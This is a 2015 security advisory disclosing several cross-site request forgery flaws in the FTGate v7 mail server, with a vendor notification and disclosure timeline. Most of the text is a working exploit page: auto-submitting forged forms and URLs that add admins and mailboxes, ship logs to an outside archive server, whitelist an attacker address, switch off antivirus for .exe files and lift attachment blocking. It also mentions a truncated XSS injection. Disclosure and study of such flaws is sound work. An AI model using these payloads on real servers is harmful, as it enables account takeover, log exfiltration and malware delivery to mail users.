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[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-V7-CSRF.txt Vendor: ================================ www.ftgate.com www.ftgate.com/ftgate-update-7-0-300 Product: ================================ FTGate v7 Vulnerability Type: ================================= Cross site request forgery (CSRF) CVE Reference: ============== N/A Vulnerability Details: ===================== Multiple CSRF vectors exists within FTGate v7 allowing the following attacks www.ftgate.com/ftgate-update-7-0-300 1) add arbitrary domains 2) enable arbitrary remote archiving of logs 3) whitelist arbitrary email addresses 4) add arbitrary mailbox & disable antivirus, 5) remove email attachment blocking for filez. Exploit code(s): =============== <!DOCTYPE> <html> <body onLoad="doit()"> <script> function doit(){ var e=document.getElementById('HELL') e.submit() } </script> 1) add arbitrary remote domain: <form id='HELL' action=" http://localhost:8089/v7/wizards/adddomain.fts?action=save&id=" method="post"> <input type="text" name="name" value="abysmalgodz" /> <input type="text" name="type" value="1" /> </form> 2) enable arbitrary remote archive: <form id='HELL' action=" http://localhost:8089/v7/webadmin/config/archive.fts?action=save" method="post"> <input type="text" name="action" value="save" /> <input type="text" name="enable" value="on" /> <input type="text" name="duration" value="0" /> <input type="text" name="external" value="on" /> <input type="text" name="extarcserver" value="0.6.6.6" /> </form> disable Antivirus for .exe files: also, has a persistent XSS inject but our payload gets truncated at 5 chars, but can corrupt the loading of valid XML returned from database to the WEB UI. e.g. HTTP response after attack outputs corrupted XML generating errors. <cell>exe</cell> <cell/> <cell><scri</cell> <cell/> </row> <row id='id_"/><s'> http://localhost:8089/v7/axml/adminlists.fts?table=ext&add=exe <form id='HELL' action=" http://localhost:8089/v7/webadmin/filters/virus.fts?action=save&mailbox=" method="post"> <input type="text" name="mode" value="on" /> <input type="text" name="selftest" value="0ff" /> <input type="text" name="extGrid_id_exe_0" value="1" /> </form> add arbitrary Admins: http://localhost:8089/v7/axml/adminlists.fts?table=admin&add=ghostofsin whitelist arbitrary email addresses: Messages that originate from these email addresses are not filtered by the Word or Phrase filters. http://localhost:8089/v7/axml/whitelist.fts?id=531&add=hell@abyss.666 <!--remove email attachment blocking for exe, hta & html filez --> http://localhost:8089/v7/axml/attachments.fts?id=531&remove=7,10,3 when access the above URL it returns XML with all file extensions blocked on incoming email, we now know ID in database. so to remove blocking of .cmd we select '11' http://localhost:8089/v7/axml/attachments.fts?id=531&remove=11 or remove blocking of multiple file types in one shot http://localhost:8089/v7/axml/attachments.fts?id=531&remove=7,10,3 add arbitrary mailbox: <form id='HELL' action=" http://localhost:8089/v7/wizards/addmailbox.fts?action=save&id=500" method="post"> <input type="text" name="name" value="punksnotdead" /> <input type="text" name="type" value="0" /> <input type="text" name="cn" value="punksnotdead" /> <input type="text" name="password" value="punksnotdead" /> </form> </body> </html> Disclosure Timeline: ======================================== Vendor Notification: September 29, 2015 October 1, 2015 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ High Description: ========================================================== Request Method(s):[+]GET Vulnerable Product: [+]FTGate v7 Vulnerable Parameter(s):[+]type, id, mode, add, extarcserver =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx |
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